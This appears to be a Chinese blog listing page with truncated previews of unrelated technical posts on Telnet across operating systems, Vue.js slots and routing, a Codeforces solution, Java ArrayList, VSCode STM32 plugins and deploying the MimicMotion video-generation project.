文章目录 LinuxWindowsmacOS 在Linux、Windows和macOS上使用Telnet时&#xff0c;不同的系统有不同的工具和设置方法。以下是在这些系统上使用Telnet的简要说明&#xff1a; Linux 在Linux上&#xff0c;Telnet通常是通过telnet命令来使用的。首先&#xff0c;你需要确保你的系…

前端:Vue学习-3

前端&#xff1a;Vue学习-3 1. 自定义指令2. 插槽2.1 插槽 - 后备内容&#xff08;默认值&#xff09;2.2 插槽 - 具名插槽2.3 插槽 - 作用域插槽 3. Vue - 路由3.1 路由模块封装3.2 声明式导航 router-link 高亮3.3 自定义匹配的类名3.4 声明式导肮 - 跳转传参3.5 Vue路由 - 重…

[题解]CF1401E.Divide Square(codeforces 05)

题目描述 There is a square of size 106106106106 on the coordinate plane with four points (0,0)(0,0) , (0,106)(0,106) , (106,0)(106,0) , and (106,106)(106,106) as its vertices. You are going to draw segments on the plane. All segments are either horizonta…

【数据结构】顺序表(ArrayList的具体使用)

&#x1f387;&#x1f389;&#x1f389;&#x1f389;点进来你就是我的人了 博主主页&#xff1a;&#x1f648;&#x1f648;&#x1f648;戳一戳&#xff0c;欢迎大佬指点&#xff01; 欢迎志同道合的朋友一起加油喔 &#x1f4aa;&#x1f4aa;&#x1f4aa; 谢谢你这么帅…

VSCode STM32嵌入式开发插件记录

要卸载之前搭建的VSCode嵌入式开发环境了&#xff0c;记录一下用的插件。 1.Cortex-Debug https://github.com/Marus/cortex-debug 2.Embedded IDE https://github.com/github0null/eide 3.Keil uVision Assistant https://github.com/jacksonjim/keil-assistant/ 4.RTO…

政安晨【零基础玩转各类开源AI项目】基于Ubuntu系统部署MimicMotion :利用可信度感知姿势指导生成高质量人体运动视频

目录 项目介绍 项目相关工作 图像/视频生成的扩散模型 姿势引导的人体动作转移 生成长视频 方法实践 与最先进方法的比较 消融研究 部署验证 1. 下载项目&#xff1a; 2. 建立环境 3. 下载参数模型 A. 下载 DWPose 预训练模型&#xff1a;dwpose B. 从 Huggingfa…